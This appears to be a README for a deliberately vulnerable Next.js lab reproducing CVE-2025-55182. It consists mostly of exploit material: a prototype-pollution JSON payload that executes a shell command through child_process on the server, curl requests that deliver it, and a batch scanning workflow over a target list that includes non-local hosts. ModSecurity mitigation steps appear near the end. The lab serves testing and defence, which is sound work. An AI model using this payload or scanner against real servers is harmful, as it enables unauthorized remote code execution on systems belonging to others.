npm install
# or
yarn install
# or
pnpm install

npm run dev

# Test a single target
./test-exploit.sh http://localhost:3000

# Or directly with curl
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  --data-binary @exploit-payload.txt

.
├── app/
│   ├── actions.ts              # Server Actions (vulnerability trigger point)
│   ├── page.tsx                # Main page
│   ├── layout.tsx              # Layout
│   └── globals.css             # Global styles
├── package.json                # Dependency configuration (using affected versions)
├── next.config.js              # Next.js configuration
├── test-exploit.sh             # Single-target vulnerability test script
├── scan-targets.sh             # Batch scanning script
├── exploit-payload.txt         # Exploit payload file
├── Cve-2025-55182-modsecurity-rules.conf      # ModSecurity protection rules
└── README.md                   # This file

chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000

# Create target list file
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF

# Run batch scan
chmod +x scan-targets.sh
./scan-targets.sh targets.txt

{
  "then": "$1:__proto__:then",           // Hijack the then method
  "status": "resolved_model",             // Control execution path
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",      // Trigger Blob deserialization
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"  // Hijack to Function
    }
  }
}

npm install [email protected] [email protected] [email protected]

# 1. Install mod_security
sudo apt-get install libapache2-mod-security2

# 2. Copy the rules file
sudo cp modsecurity-rules.conf /etc/modsecurity/

# 3. Include the rules in Apache config
sudo vim /etc/apache2/mods-enabled/security2.conf
# Add: Include /etc/modsecurity/modsecurity-rules.conf

# 4. Restart Apache
sudo systemctl restart apache2

# 1. Install ModSecurity for Nginx
sudo apt-get install libnginx-mod-security

# 2. Copy the rules file
sudo cp modsecurity-rules.conf /etc/nginx/modsec/

# 3. Enable in Nginx config
sudo vim /etc/nginx/nginx.conf
# Add in http or server block:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;

# 4. Restart Nginx
sudo systemctl restart nginx

curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  --data-binary @exploit-payload.txt